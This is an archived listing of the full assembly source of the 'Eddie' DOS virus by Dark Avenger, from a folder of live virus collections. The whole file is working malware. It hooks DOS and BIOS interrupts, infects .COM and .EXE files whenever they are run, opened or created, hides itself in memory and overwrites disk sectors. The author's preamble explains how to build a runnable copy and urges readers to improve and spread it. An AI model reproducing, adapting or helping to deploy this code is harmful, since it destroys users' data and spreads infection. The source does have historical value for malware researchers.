home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / avengsrc.asm < prev    next >
Assembly Source File  |  1992-08-26  |  28KB  |  1,000 lines

  1.  
  2.  
  3. Ok PAUL, Here is the file you requested,
  4.  
  5.  
  6.  
  7. ;************************
  8. ;*                      *
  9. ;*      E D D I E       *
  10. ;*                      *
  11. ;*   by  Dark Avenger   *
  12. ;*                      *
  13. ;*      3-JAN-1989      *
  14. ;*                      *
  15. ;*     version 1.31x    *
  16. ;*                      *
  17. ;************************
  18.  
  19. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  20.  
  21. ; The original source of one of the first Bulgarian viruses is in front of
  22. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  23. ; the virus has spread surprisingly quickly troughout the country and made a
  24. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  25. ; well as in USA.) Due to the aniversary of its creation, the source is
  26. ; distributed freely.  You have the rights to distribute the source which can
  27. ; be charged or free of charge, with the only condition not to modify it.
  28. ; The one, who intentionaly distributes this source modified in any way will
  29. ; be punished!  Still, the author will be glad if any of you improves it and
  30. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  31. ; attention to the fact that after you assemble the source, the resulting
  32. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  33. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  34. ; two files.  Don't try to place a JMP at the beginning of the source.
  35.  
  36. ; DISCLAIMER: The author does not take any responsability for any damage,
  37. ; either direct or implied, caused by the usage or not of this source or of
  38. ; the resulting code after assembly. No warrant is made about the product
  39. ; functionability or quality.
  40.  
  41. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  42. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  43. ; not, helps very much in the spreading of my viruses, in spite of the fact
  44. ; that he tries to do just the opposite (writing programs in C has never
  45. ; led to any good).
  46. ; Greetings to all virus writers!
  47.  
  48. code    segment
  49.         assume  cs:code,ds:code
  50. copyright:
  51.         db      'Eddie lives...somewhere in time!',0
  52. date_stamp:
  53.         dd      12239000h
  54. checksum:
  55.         db      30
  56.  
  57. ; Return the control to an .EXE file:
  58. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  59.  
  60.  
  61.  
  62.  
  63.  
  64. exit_exe:
  65.         mov     bx,es
  66.         add     bx,10h
  67.         add     bx,word ptr cs:[si+call_adr+2]
  68.         mov     word ptr cs:[si+patch+2],bx
  69.         mov     bx,word ptr cs:[si+call_adr]
  70.         mov     word ptr cs:[si+patch],bx
  71.         mov     bx,es
  72.         add     bx,10h
  73.         add     bx,word ptr cs:[si+stack_pointer+2]
  74.         mov     ss,bx
  75.         mov     sp,word ptr cs:[si+stack_pointer]
  76.         db      0eah                    ;JMP XXXX:YYYY
  77. patch:
  78.         dd      0
  79.  
  80. ; Returns control to a .COM file:
  81. ; Restores the first 3 bytes in the
  82. ; beginning of the file, loads SP and IP.
  83.  
  84. exit_com:
  85.  
  86.  
  87.  
  88.  
  89.         mov     di,100h
  90.         add     si,offset my_save
  91.         movsb
  92.         movsw
  93.         mov     sp,ds:[6]               ;This is incorrect
  94.         xor     bx,bx
  95.         push    bx
  96.         jmp     [si-11]                 ;si+call_adr-top_file
  97.  
  98. ; Program entry point
  99.  
  100. startup:
  101.         call    relative
  102. relative:
  103.         pop     si                      ;SI = $
  104.         sub     si,offset relative
  105.         cld
  106.         cmp     word ptr cs:[si+my_save],5a4dh
  107.         je      exe_ok
  108.         cli
  109.         mov     sp,si                   ;A separate stack is supported for
  110.         add     sp,offset top_file+100h ;the .COM files, in order not to
  111.         sti                             ;overlap the stack by the program
  112.         cmp     sp,ds:[6]
  113.         jnc     exit_com
  114. exe_ok:
  115.         push    ax
  116.         push    es
  117.         push    si
  118.         push    ds
  119.         mov     di,si
  120.  
  121. ; Looking for the address of INT 13h handler in ROM-BIOS
  122.  
  123.         xor     ax,ax
  124.         push    ax
  125.         mov     ds,ax
  126.         les     ax,ds:[13h*4]
  127.         mov     word ptr cs:[si+fdisk],ax
  128.         mov     word ptr cs:[si+fdisk+2],es
  129.         mov     word ptr cs:[si+disk],ax
  130.         mov     word ptr cs:[si+disk+2],es
  131.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  132.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  133.         jne     nofdisk                 ;available
  134.         mov     word ptr cs:[si+disk+2],ax
  135.         mov     ax,ds:[40h*4]
  136.         mov     word ptr cs:[si+disk],ax
  137.         mov     dl,80h
  138.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  139.         cmp     ax,0f000h               ;where the original INT 13h vector is
  140.         je      isfdisk
  141.         cmp     ah,0c8h
  142.         jc      nofdisk
  143.         cmp     ah,0f4h
  144.         jnc     nofdisk
  145.         test    al,7fh
  146.         jnz     nofdisk
  147.         mov     ds,ax
  148.         cmp     ds:[0],0aa55h
  149.         jne     nofdisk
  150.         mov     dl,ds:[2]
  151. isfdisk:
  152.         mov     ds,ax
  153.         xor     dh,dh
  154.         mov     cl,9
  155.         shl     dx,cl
  156.         mov     cx,dx
  157.         xor     si,si
  158. findvect:
  159.         lodsw                           ;Occasionally begins with:
  160.         cmp     ax,0fa80h               ;       CMP     DL,80h
  161.         jne     altchk                  ;       JNC     somewhere
  162.         lodsw
  163.         cmp     ax,7380h
  164.         je      intchk
  165.         jne     nxt0
  166. altchk:
  167.         cmp     ax,0c2f6h               ;or with:
  168.         jne     nxt                     ;       TEST    DL,80h
  169.         lodsw                           ;       JNZ     somewhere
  170.         cmp     ax,7580h
  171.         jne     nxt0
  172. intchk:
  173.         inc     si                      ;then there is:
  174.         lodsw                           ;       INT     40h
  175.         cmp     ax,40cdh
  176.         je      found
  177.         sub     si,3
  178. nxt0:
  179.         dec     si
  180.         dec     si
  181. nxt:
  182.         dec     si
  183.         loop    findvect
  184.         jmp     short nofdisk
  185. found:
  186.         sub     si,7
  187.         mov     word ptr cs:[di+fdisk],si
  188.         mov     word ptr cs:[di+fdisk+2],ds
  189. nofdisk:
  190.         mov     si,di
  191.         pop     ds
  192.  
  193. ; Check whether the program is present in memory:
  194.  
  195.         les     ax,ds:[21h*4]
  196.         mov     word ptr cs:[si+save_int_21],ax
  197.         mov     word ptr cs:[si+save_int_21+2],es
  198.         push    cs
  199.         pop     ds
  200.         cmp     ax,offset int_21
  201.         jne     bad_func
  202.         xor     di,di
  203.         mov     cx,offset my_size
  204. scan_func:
  205.         lodsb
  206.         scasb
  207.         jne     bad_func
  208.         loop    scan_func
  209.         pop     es
  210.         jmp     go_program
  211.  
  212. ; Move the program to the top of memory:
  213. ; (it's full of rubbish and bugs here)
  214.  
  215. bad_func:
  216.         pop     es
  217.         mov     ah,49h
  218.         int     21h
  219.         mov     bx,0ffffh
  220.         mov     ah,48h
  221.         int     21h
  222.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  223.         jc      go_program
  224.         mov     cx,es
  225.         stc
  226.         adc     cx,bx
  227.         mov     ah,4ah
  228.         int     21h
  229.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  230.         stc
  231.         sbb     es:[2],bx
  232.         push    es
  233.         mov     es,cx
  234.         mov     ah,4ah
  235.         int     21h
  236.         mov     ax,es
  237.         dec     ax
  238.         mov     ds,ax
  239.         mov     word ptr ds:[1],8
  240.         call    mul_16
  241.         mov     bx,ax
  242.         mov     cx,dx
  243.         pop     ds
  244.         mov     ax,ds
  245.         call    mul_16
  246.         add     ax,ds:[6]
  247.         adc     dx,0
  248.         sub     ax,bx
  249.         sbb     dx,cx
  250.         jc      mem_ok
  251.         sub     ds:[6],ax               ;Reduction of the segment size
  252. mem_ok:
  253.         pop     si
  254.         push    si
  255.         push    ds
  256.         push    cs
  257.         xor     di,di
  258.         mov     ds,di
  259.         lds     ax,ds:[27h*4]
  260.         mov     word ptr cs:[si+save_int_27],ax
  261.         mov     word ptr cs:[si+save_int_27+2],ds
  262.         pop     ds
  263.         mov     cx,offset aux_size
  264.         rep     movsb
  265.         xor     ax,ax
  266.         mov     ds,ax
  267.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  268.         mov     ds:[21h*4+2],es
  269.         mov     ds:[27h*4],offset int_27
  270.         mov     ds:[27h*4+2],es
  271.         mov     word ptr es:[filehndl],ax
  272.         pop     es
  273. go_program:
  274.         pop     si
  275.  
  276. ; Smash the next disk sector:
  277.  
  278.         xor     ax,ax
  279.         mov     ds,ax
  280.         mov     ax,ds:[13h*4]
  281.         mov     word ptr cs:[si+save_int_13],ax
  282.         mov     ax,ds:[13h*4+2]
  283.         mov     word ptr cs:[si+save_int_13+2],ax
  284.         mov     ds:[13h*4],offset int_13
  285.         add     ds:[13h*4],si
  286.         mov     ds:[13h*4+2],cs
  287.         pop     ds
  288.         push    ds
  289.         push    si
  290.         mov     bx,si
  291.         lds     ax,ds:[2ah]
  292.         xor     si,si
  293.         mov     dx,si
  294. scan_envir:                             ;Fetch program's name
  295.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  296.         dec     si
  297.         test    ax,ax
  298.         jnz     scan_envir
  299.         add     si,3
  300.         lodsb
  301.  
  302. ; The following instruction is a complete nonsense.  Try to enter a drive &
  303. ; directory path in lowercase, then run an infected program from there.
  304. ; As a result of an error here + an error in DOS the next sector is not
  305. ; smashed. Two memory bytes are smashed instead, most probably onto the
  306. ; infected program.
  307.  
  308.         sub     al,'A'
  309.         mov     cx,1
  310.         push    cs
  311.         pop     ds
  312.         add     bx,offset int_27
  313.         push    ax
  314.         push    bx
  315.         push    cx
  316.         int     25h
  317.         pop     ax
  318.         pop     cx
  319.         pop     bx
  320.         inc     byte ptr [bx+0ah]
  321.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  322.         jnz     store_sec               ;nothing is not enough for some.
  323.         mov     al,[bx+10h]
  324.         xor     ah,ah
  325.         mul     word ptr [bx+16h]
  326.         add     ax,[bx+0eh]
  327.         push    ax
  328.         mov     ax,[bx+11h]
  329.         mov     dx,32
  330.         mul     dx
  331.         div     word ptr [bx+0bh]
  332.         pop     dx
  333.         add     dx,ax
  334.         mov     ax,[bx+8]
  335.         add     ax,40h
  336.         cmp     ax,[bx+13h]
  337.         jc      store_new
  338.         inc     ax
  339.         and     ax,3fh
  340.         add     ax,dx
  341.         cmp     ax,[bx+13h]
  342.         jnc     small_disk
  343. store_new:
  344.         mov     [bx+8],ax
  345. store_sec:
  346.         pop     ax
  347.         xor     dx,dx
  348.         push    ax
  349.         push    bx
  350.         push    cx
  351.         int     26h
  352.  
  353.  
  354. ; The writing trough this interrupt is not the smartest thing, bacause it
  355. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  356.  
  357.         pop     ax
  358.         pop     cx
  359.         pop     bx
  360.         pop     ax
  361.         cmp     byte ptr [bx+0ah],0
  362.         jne     not_now
  363.         mov     dx,[bx+8]
  364.         pop     bx
  365.         push    bx
  366.         int     26h
  367. small_disk:
  368.         pop     ax
  369. not_now:
  370.         pop     si
  371.         xor     ax,ax
  372.         mov     ds,ax
  373.         mov     ax,word ptr cs:[si+save_int_13]
  374.         mov     ds:[13h*4],ax
  375.         mov     ax,word ptr cs:[si+save_int_13+2]
  376.         mov     ds:[13h*4+2],ax
  377.         pop     ds
  378.         pop     ax
  379.         cmp     word ptr cs:[si+my_save],5a4dh
  380.         jne     go_exit_com
  381.         jmp     exit_exe
  382. go_exit_com:
  383.         jmp     exit_com
  384. int_24:
  385.         mov     al,3                    ;This instruction seems unnecessary
  386.         iret
  387.  
  388. ; INT 27h handler (this is necessary)
  389.  
  390. int_27:
  391.         pushf
  392.         call    alloc
  393.         popf
  394.         jmp     dword ptr cs:[save_int_27]
  395.  
  396. ; During the DOS functions Set & Get Vector it seems that the virus has not
  397. ; intercepted them (this is a doubtfull advantage and it is a possible
  398. ; source of errors with some "intelligent" programs)
  399.  
  400. set_int_27:
  401.         mov     word ptr cs:[save_int_27],dx
  402.         mov     word ptr cs:[save_int_27+2],ds
  403.         popf
  404.         iret
  405. set_int_21:
  406.         mov     word ptr cs:[save_int_21],dx
  407.         mov     word ptr cs:[save_int_21+2],ds
  408.         popf
  409.         iret
  410. get_int_27:
  411.         les     bx,dword ptr cs:[save_int_27]
  412.         popf
  413.         iret
  414. get_int_21:
  415.         les     bx,dword ptr cs:[save_int_21]
  416.         popf
  417.         iret
  418.  
  419. exec:
  420.  
  421.  
  422.         call    do_file
  423.         call    alloc
  424.         popf
  425.         jmp     dword ptr cs:[save_int_21]
  426.  
  427.         db      'Diana P.',0
  428.  
  429. ; INT 21h handler.  Infects files during execution, copying, browsing or
  430. ; creating and some other operations. The execution of functions 0 and 26h
  431. ; has bad consequences.
  432.  
  433. int_21:
  434.         push    bp
  435.         mov     bp,sp
  436.         push    [bp+6]
  437.         popf
  438.         pop     bp
  439.         pushf
  440.         call    ontop
  441.         cmp     ax,2521h
  442.         je      set_int_21
  443.         cmp     ax,2527h
  444.         je      set_int_27
  445.         cmp     ax,3521h
  446.         je      get_int_21
  447.         cmp     ax,3527h
  448.         je      get_int_27
  449.         cld
  450.         cmp     ax,4b00h
  451.         je      exec
  452.         cmp     ah,3ch
  453.         je      create
  454.         cmp     ah,3eh
  455.         je      close
  456.         cmp     ah,5bh
  457.         jne     not_create
  458. create:
  459.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  460.         jne     dont_touch
  461.         call    see_name
  462.         jnz     dont_touch
  463.         call    alloc
  464.         popf
  465.         call    function
  466.         jc      int_exit
  467.         pushf
  468.         push    es
  469.         push    cs
  470.         pop     es
  471.         push    si
  472.         push    di
  473.         push    cx
  474.         push    ax
  475.         mov     di,offset filehndl
  476.         stosw
  477.         mov     si,dx
  478.         mov     cx,65
  479. move_name:
  480.         lodsb
  481.         stosb
  482.         test    al,al
  483.         jz      all_ok
  484.         loop    move_name
  485.         mov     word ptr es:[filehndl],cx
  486. all_ok:
  487.         pop     ax
  488.         pop     cx
  489.         pop     di
  490.         pop     si
  491.         pop     es
  492. go_exit:
  493.         popf
  494.         jnc     int_exit                ;JMP
  495. close:
  496.         cmp     bx,word ptr cs:[filehndl]
  497.         jne     dont_touch
  498.         test    bx,bx
  499.         jz      dont_touch
  500.         call    alloc
  501.         popf
  502.         call    function
  503.         jc      int_exit
  504.         pushf
  505.         push    ds
  506.         push    cs
  507.         pop     ds
  508.         push    dx
  509.         mov     dx,offset filehndl+2
  510.         call    do_file
  511.         mov     word ptr cs:[filehndl],0
  512.         pop     dx
  513.         pop     ds
  514.         jmp     go_exit
  515. not_create:
  516.         cmp     ah,3dh
  517.         je      touch
  518.         cmp     ah,43h
  519.         je      touch
  520.         cmp     ah,56h                  ;Unfortunately, the command inter-
  521.         jne     dont_touch              ;preter does not use this function
  522. touch:
  523.         call    see_name
  524.         jnz     dont_touch
  525.         call    do_file
  526. dont_touch:
  527.         call    alloc
  528.         popf
  529.         call    function
  530. int_exit:
  531.         pushf
  532.         push    ds
  533.         call    get_chain
  534.         mov     byte ptr ds:[0],'Z'
  535.         pop     ds
  536.         popf
  537. dummy   proc    far                     ;???
  538.         ret     2
  539. dummy   endp
  540.  
  541. ; Checks whether the file is .COM or .EXE.
  542. ; It is not called upon file execution.
  543.  
  544. see_name:
  545.         push    ax
  546.         push    si
  547.         mov     si,dx
  548. scan_name:
  549.         lodsb
  550.         test    al,al
  551.         jz      bad_name
  552.         cmp     al,'.'
  553.         jnz     scan_name
  554.         call    get_byte
  555.         mov     ah,al
  556.         call    get_byte
  557.         cmp     ax,'co'
  558.         jz      pos_com
  559.         cmp     ax,'ex'
  560.         jnz     good_name
  561.         call    get_byte
  562.         cmp     al,'e'
  563.         jmp     short good_name
  564. pos_com:
  565.         call    get_byte
  566.         cmp     al,'m'
  567.         jmp     short good_name
  568. bad_name:
  569.         inc     al
  570. good_name:
  571.         pop     si
  572.         pop     ax
  573.         ret
  574.  
  575. ; Converts into lowercase (the subroutines are a great thing).
  576.  
  577. get_byte:
  578.         lodsb
  579.         cmp     al,'C'
  580.         jc      byte_got
  581.         cmp     al,'Y'
  582.         jnc     byte_got
  583.         add     al,20h
  584. byte_got:
  585.         ret
  586.  
  587. ; Calls the original INT 21h.
  588.  
  589. function:
  590.         pushf
  591.         call    dword ptr cs:[save_int_21]
  592.         ret
  593.  
  594. ; Arrange to infect an executable file.
  595.  
  596. do_file:
  597.         push    ds                      ;Save the registers in stack
  598.         push    es
  599.         push    si
  600.         push    di
  601.         push    ax
  602.         push    bx
  603.         push    cx
  604.         push    dx
  605.         mov     si,ds
  606.         xor     ax,ax
  607.         mov     ds,ax
  608.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  609.         push    es                      ;and changes them with what is needed
  610.         push    ax
  611.         mov     ds:[24h*4],offset int_24
  612.         mov     ds:[24h*4+2],cs
  613.         les     ax,ds:[13h*4]
  614.         mov     word ptr cs:[save_int_13],ax
  615.         mov     word ptr cs:[save_int_13+2],es
  616.         mov     ds:[13h*4],offset int_13
  617.         mov     ds:[13h*4+2],cs
  618.         push    es
  619.         push    ax
  620.         mov     ds,si
  621.         xor     cx,cx                   ;Arranges to infect Read-only files
  622.         mov     ax,4300h
  623.         call    function
  624.         mov     bx,cx
  625.         and     cl,0feh
  626.         cmp     cl,bl
  627.         je      dont_change
  628.         mov     ax,4301h
  629.         call    function
  630.         stc
  631. dont_change:
  632.         pushf
  633.         push    ds
  634.         push    dx
  635.         push    bx
  636.         mov     ax,3d02h                ;Now we can safely open the file
  637.         call    function
  638.         jc      cant_open
  639.         mov     bx,ax
  640.         call    disease
  641.         mov     ah,3eh                  ;Close it
  642.  
  643.         call    function
  644. cant_open:
  645.         pop     cx
  646.         pop     dx
  647.         pop     ds
  648.         popf
  649.         jnc     no_update
  650.         mov     ax,4301h                ;Restores file's attributes
  651.         call    function                ;if they were changed (just in case)
  652. no_update:
  653.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  654.         mov     ds,ax
  655.         pop     ds:[13h*4]
  656.         pop     ds:[13h*4+2]
  657.         pop     ds:[24h*4]
  658.         pop     ds:[24h*4+2]
  659.         pop     dx                      ;Register restoration
  660.         pop     cx
  661.         pop     bx
  662.         pop     ax
  663.         pop     di
  664.         pop     si
  665.         pop     es
  666.         pop     ds
  667.         ret
  668.  
  669. ; This routine is the working horse.
  670.  
  671. disease:
  672.         push    cs
  673.         pop     ds
  674.         push    cs
  675.         pop     es
  676.         mov     dx,offset top_save      ;Read the file beginning
  677.         mov     cx,18h
  678.         mov     ah,3fh
  679.         int     21h
  680.         xor     cx,cx
  681.         xor     dx,dx
  682.         mov     ax,4202h                ;Save file length
  683.         int     21h
  684.         mov     word ptr [top_save+1ah],dx
  685.         cmp     ax,offset my_size       ;This should be top_file
  686.         sbb     dx,0
  687.         jc      stop_fuck_2             ;Small files are not infected
  688.         mov     word ptr [top_save+18h],ax
  689.         cmp     word ptr [top_save],5a4dh
  690.         jne     com_file
  691.         mov     ax,word ptr [top_save+8]
  692.         add     ax,word ptr [top_save+16h]
  693.         call    mul_16
  694.         add     ax,word ptr [top_save+14h]
  695.         adc     dx,0
  696.         mov     cx,dx
  697.         mov     dx,ax
  698.         jmp     short see_sick
  699. com_file:
  700.         cmp     byte ptr [top_save],0e9h
  701.         jne     see_fuck
  702.         mov     dx,word ptr [top_save+1]
  703.         add     dx,103h
  704.         jc      see_fuck
  705.         dec     dh
  706.         xor     cx,cx
  707.  
  708. ; Check if the file is properly infected
  709.  
  710.  
  711. see_sick:
  712.         sub     dx,startup-copyright
  713.         sbb     cx,0
  714.         mov     ax,4200h
  715.         int     21h
  716.         add     ax,offset top_file
  717.         adc     dx,0
  718.         cmp     ax,word ptr [top_save+18h]
  719.         jne     see_fuck
  720.         cmp     dx,word ptr [top_save+1ah]
  721.         jne     see_fuck
  722.         mov     dx,offset top_save+1ch
  723.         mov     si,dx
  724.         mov     cx,offset my_size
  725.         mov     ah,3fh
  726.         int     21h
  727.         jc      see_fuck
  728.         cmp     cx,ax
  729.         jne     see_fuck
  730.         xor     di,di
  731. next_byte:
  732.  
  733.         lodsb
  734.         scasb
  735.         jne     see_fuck
  736.         loop    next_byte
  737. stop_fuck_2:
  738.         ret
  739. see_fuck:
  740.         xor     cx,cx                   ;Seek to the end of file
  741.         xor     dx,dx
  742.         mov     ax,4202h
  743.         int     21h
  744.         cmp     word ptr [top_save],5a4dh
  745.         je      fuck_exe
  746.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  747.         adc     dx,0
  748.         je      fuck_it
  749.         ret
  750.  
  751. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  752.  
  753. fuck_exe:
  754.         mov     dx,word ptr [top_save+18h]
  755.         neg     dl
  756.         and     dx,0fh
  757.         xor     cx,cx
  758.         mov     ax,4201h
  759.         int     21h
  760.         mov     word ptr [top_save+18h],ax
  761.         mov     word ptr [top_save+1ah],dx
  762. fuck_it:
  763.         mov     ax,5700h                ;Get file's date
  764.         int     21h
  765.         pushf
  766.         push    cx
  767.         push    dx
  768.         cmp     word ptr [top_save],5a4dh
  769.         je      exe_file                ;Very clever, isn't it?
  770.         mov     ax,100h
  771.         jmp     short set_adr
  772. exe_file:
  773.         mov     ax,word ptr [top_save+14h]
  774.         mov     dx,word ptr [top_save+16h]
  775. set_adr:
  776.         mov     di,offset call_adr
  777.         stosw
  778.         mov     ax,dx
  779.         stosw
  780.         mov     ax,word ptr [top_save+10h]
  781.         stosw
  782.         mov     ax,word ptr [top_save+0eh]
  783.         stosw
  784.         mov     si,offset top_save      ;This offers the possibilities to
  785.         movsb                           ;some nasty programs to restore
  786.         movsw                           ;exactly the original length
  787.         xor     dx,dx                   ;of the .EXE files
  788.         mov     cx,offset top_file
  789.         mov     ah,40h
  790.         int     21h                     ;Write the virus
  791.         jc      go_no_fuck              ;(don't trace here)
  792.         xor     cx,ax
  793.         jnz     go_no_fuck
  794.         mov     dx,cx
  795.         mov     ax,4200h
  796.         int     21h
  797.         cmp     word ptr [top_save],5a4dh
  798.         je      do_exe
  799.         mov     byte ptr [top_save],0e9h
  800.         mov     ax,word ptr [top_save+18h]
  801.         add     ax,startup-copyright-3
  802.         mov     word ptr [top_save+1],ax
  803.         mov     cx,3
  804.         jmp     short write_header
  805. go_no_fuck:
  806.         jmp     short no_fuck
  807.  
  808. ; Construct the .EXE file's header
  809.  
  810. do_exe:
  811.         call    mul_hdr
  812.         not     ax
  813.         not     dx
  814.         inc     ax
  815.         jne     calc_offs
  816.         inc     dx
  817. calc_offs:
  818.         add     ax,word ptr [top_save+18h]
  819.         adc     dx,word ptr [top_save+1ah]
  820.         mov     cx,10h
  821.         div     cx
  822.         mov     word ptr [top_save+14h],startup-copyright
  823.         mov     word ptr [top_save+16h],ax
  824.         add     ax,(offset top_file-offset copyright-1)/16+1
  825.         mov     word ptr [top_save+0eh],ax
  826.         mov     word ptr [top_save+10h],100h
  827.         add     word ptr [top_save+18h],offset top_file
  828.         adc     word ptr [top_save+1ah],0
  829.         mov     ax,word ptr [top_save+18h]
  830.         and     ax,1ffh
  831.         mov     word ptr [top_save+2],ax
  832.         pushf
  833.         mov     ax,word ptr [top_save+19h]
  834.         shr     byte ptr [top_save+1bh],1
  835.         rcr     ax,1
  836.         popf
  837.         jz      update_len
  838.         inc     ax
  839. update_len:
  840.         mov     word ptr [top_save+4],ax
  841.         mov     cx,18h
  842. write_header:
  843.         mov     dx,offset top_save
  844.         mov     ah,40h
  845.         int     21h                     ;Write the file beginning
  846. no_fuck:
  847.         pop     dx
  848.         pop     cx
  849.         popf
  850.         jc      stop_fuck
  851.         mov     ax,5701h                ;Restore the original file date
  852.         int     21h
  853. stop_fuck:
  854.         ret
  855.  
  856. ; The following is used by the INT 21h and INT 27h handlers in connection
  857. ; to the program hiding in memory from those who don't need to see it.
  858. ; The whole system is absurde and meaningless and it is also another source
  859. ; for program conflicts.
  860.  
  861. alloc:
  862.         push    ds
  863.         call    get_chain
  864.         mov     byte ptr ds:[0],'M'
  865.         pop     ds
  866.  
  867. ; Assures that the program is the first one in the processes,
  868. ; which have intercepted INT 21h (yet another source of conflicts).
  869.  
  870. ontop:
  871.         push    ds
  872.         push    ax
  873.         push    bx
  874.         push    dx
  875.         xor     bx,bx
  876.         mov     ds,bx
  877.         lds     dx,ds:[21h*4]
  878.         cmp     dx,offset int_21
  879.         jne     search_segment
  880.         mov     ax,ds
  881.         mov     bx,cs
  882.         cmp     ax,bx
  883.         je      test_complete
  884.  
  885. ; Searches the segment of the sucker who has intercepted INT 21h, in
  886. ; order to find where it has stored the old values and to replace them.
  887. ; Nothing is done for INT 27h.
  888.  
  889.         xor     bx,bx
  890. search_segment:
  891.         mov     ax,[bx]
  892.         cmp     ax,offset int_21
  893.         jne     search_next
  894.         mov     ax,cs
  895.         cmp     ax,[bx+2]
  896.         je      got_him
  897. search_next:
  898.         inc     bx
  899.         jne     search_segment
  900.         je      return_control
  901. got_him:
  902.         mov     ax,word ptr cs:[save_int_21]
  903.         mov     [bx],ax
  904.         mov     ax,word ptr cs:[save_int_21+2]
  905.         mov     [bx+2],ax
  906.         mov     word ptr cs:[save_int_21],dx
  907.         mov     word ptr cs:[save_int_21+2],ds
  908.         xor     bx,bx
  909.  
  910. ; Even if he has not saved them in the same segment, this won't help him.
  911.  
  912. return_control:
  913.         mov     ds,bx
  914.         mov     ds:[21h*4],offset int_21
  915.         mov     ds:[21h*4+2],cs
  916. test_complete:
  917.         pop     dx
  918.         pop     bx
  919.         pop     ax
  920.         pop     ds
  921.         ret
  922.  
  923. ; Fetch the segment of the last MCB
  924.  
  925. get_chain:
  926.         push    ax
  927.         push    bx
  928.         mov     ah,62h
  929.         call    function
  930.         mov     ax,cs
  931.         dec     ax
  932.         dec     bx
  933. next_blk:
  934.         mov     ds,bx
  935.         stc
  936.         adc     bx,ds:[3]
  937.         cmp     bx,ax
  938.         jc      next_blk
  939.         pop     bx
  940.         pop     ax
  941.         ret
  942.  
  943. ; Multiply by 16
  944.  
  945. mul_hdr:
  946.         mov     ax,word ptr [top_save+8]
  947. mul_16:
  948.         mov     dx,10h
  949.         mul     dx
  950.         ret
  951.  
  952.         db      'This program was written in the city of Sofia '
  953.         db      '(C) 1988-89 Dark Avenger',0
  954.  
  955. ; INT 13h handler.
  956. ; Calls the original vectors in BIOS, if it's a writing call
  957.  
  958. int_13:
  959.         cmp     ah,3
  960.         jnz     subfn_ok
  961.         cmp     dl,80h
  962.         jnc     hdisk
  963.         db      0eah                    ;JMP XXXX:YYYY
  964. my_size:                                ;--- Up to here comparison
  965. disk:                                   ; with the original is made
  966.         dd      0
  967. hdisk:
  968.         db      0eah                    ;JMP XXXX:YYYY
  969. fdisk:
  970.         dd      0
  971. subfn_ok:
  972.         db      0eah                    ;JMP XXXX:YYYY
  973. save_int_13:
  974.         dd      0
  975. call_adr:
  976.         dd      100h
  977.  
  978. stack_pointer:
  979.         dd      0                       ;The original value of SS:SP
  980. my_save:
  981.         int     20h                     ;The original contents of the first
  982.         nop                             ;3 bytes of the file
  983. top_file:                               ;--- Up to here the code is written
  984. filehndl    equ $                       ; in the files
  985. filename    equ filehndl+2              ;Buffer for the name of the opened file
  986. save_int_27 equ filename+65             ;Original INT 27h vector
  987. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  988. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  989. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  990. contains
  991.                                         ; - The first 24 bytes read from file
  992.                                         ; - File length (4 bytes)
  993.                                         ; - The last bytes of the file
  994.                                         ;   (my_size bytes)
  995. top_bz      equ top_save-copyright
  996. my_bz       equ my_size-copyright
  997.  
  998. code    ends
  999.         end
  1000.